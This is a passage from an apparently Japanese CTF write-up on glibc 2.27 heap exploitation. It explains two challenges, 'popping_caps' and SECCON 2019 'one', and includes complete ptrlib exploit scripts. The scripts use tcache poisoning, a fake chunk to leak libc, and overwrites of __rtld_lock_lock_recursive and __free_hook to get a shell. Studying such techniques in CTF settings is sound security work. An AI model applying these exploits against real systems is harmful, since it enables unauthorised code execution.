という関数が呼ばれるのだが、この中で __rtld_lock_lock_recursive
という関数ポインタに登録された関数の呼び出しが行われる。この変数のアドレスは libc_base から算出可能なのでここに one gadget を登録しておくとあとで呼び出される。
この手法は _exit
を直接呼び出していきなりシステムコールで終了しているようなバイナリでは使えない。
from ptrlib import * sock = Process("./popping_caps") libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") system_addr = int(sock.recvlineafter("0x"), 16) libc_base = system_addr - libc.symbol("system") def malloc(size): sock.sendlineafter("choice: ", "1") sock.sendlineafter("How many: ", str(size)) def free(distance): sock.sendlineafter("choice: ", "2") sock.sendlineafter("free: ", str(distance)) def write(content): sock.sendlineafter("choice: ", "3") sock.sendafter("me in: ", content) rtld_lock_lock_offset = 0x7ffff7ffdf60 - 0x7ffff79e4000 malloc(100) free(-0x260 + 0x10) malloc(0x248) write(b"\xff" * 64 + p64(libc_base + rtld_lock_lock_offset)) malloc(0x18) write(p64(libc_base + 0xe569f)) sock.interactive()
SECCON 2019 Online - one
libc 2.27 で add/show/ deleteができて double freeがある。ただし note のページ数が1しかなく、add/show/deleteは全て一つの変数を対象に行われる。
まず libc のアドレスを手に入れる。double freeがありfreeされたアドレスをshowできるバイナリでは、binsに繋がれた chunk をshowしてmain_arenaのアドレスから libc_base を手に入れるのが良い。ただし fastbin や bins の free 時にはその chunk の次の chunk(とその次のchunk?)のサイズが 適切かどうかと、次の chunkの prev_inuse bit がちゃんと立っているかを見る処理が入っているので、これに配慮する必要がある。
そこで今回は サイズ 0x500 の fake chunk をfreeするために、 malloc を繰り返して 0x500 程度の領域を埋め、雑に size っぽい値を書き込んでおいた。あとは tcache poisoning でこの fake chunk を freeしてからshowすれば libc_base が手に入る。
libc_baseが手に入ったらあとは __free_hook
を system
に向けるなどすればシェルが取れる。
from ptrlib import * sock = Process("./one") elf = ELF("./one") libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so") def add(content): sock.sendlineafter("> ", "1") sock.sendlineafter("> ", content) def show(): sock.sendlineafter("> ", "2") return sock.recvline() def delete(): return sock.sendlineafter("> ", "3") add(b"A"*32 + p64(0) + p64(0x501) + p64(0)) size = 0 while size < 0x500: add(p64(0x21) * 7) size += 0x50 delete() delete() delete() delete() heap_addr = u64(show()) heap_head = heap_addr - 0x1770 first_chunk = heap_head + 0x260 + 0x1010 add(p64(first_chunk + 0x30)) add(p64(first_chunk + 0x30)) add("mogumogu") delete() main_arena_96 = u64(show()) libc_base = main_arena_96 - 96 - libc.main_arena() print("libc_base: 0x{:0x}".format(libc_base)) add("takoyaki") delete() delete() add(p64(libc_base + libc.symbol("__free_hook"))) add(p64(libc_base + libc.symbol("__free_hook"))) add(p64(libc_base + libc.symbol("system"))) add("/bin/sh") delete() sock.interactive()
*1:というのも、https://elixir.bootlin.com/glibc/glibc-2.28/source/malloc/malloc.c を見た限りだとkeyない
*2:chunkの、tcache_entry.keyに当たる部分がtcacheのアドレスと同じ値になっている確率は非常に低いが、0ではないので、こちらでまずチェックして怪しければエントリを全部見てちゃんと確かめる